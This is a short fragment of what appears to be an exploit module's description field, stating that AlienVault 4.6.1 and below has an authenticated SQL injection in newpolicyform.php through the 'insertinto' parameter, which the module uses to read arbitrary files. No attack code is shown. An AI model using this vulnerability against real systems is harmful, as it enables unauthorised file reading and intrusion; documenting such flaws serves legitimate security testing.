'Description' => %q{  
AlienVault 4.6.1 and below is susceptible to an authenticated SQL injection attack against  
newpolicyform.php, using the 'insertinto' parameter. This module exploits the vulnerability  
to read an arbitrary file from the file system. Any authenticated user is able to exploit  
this, as administrator privileges are not required.
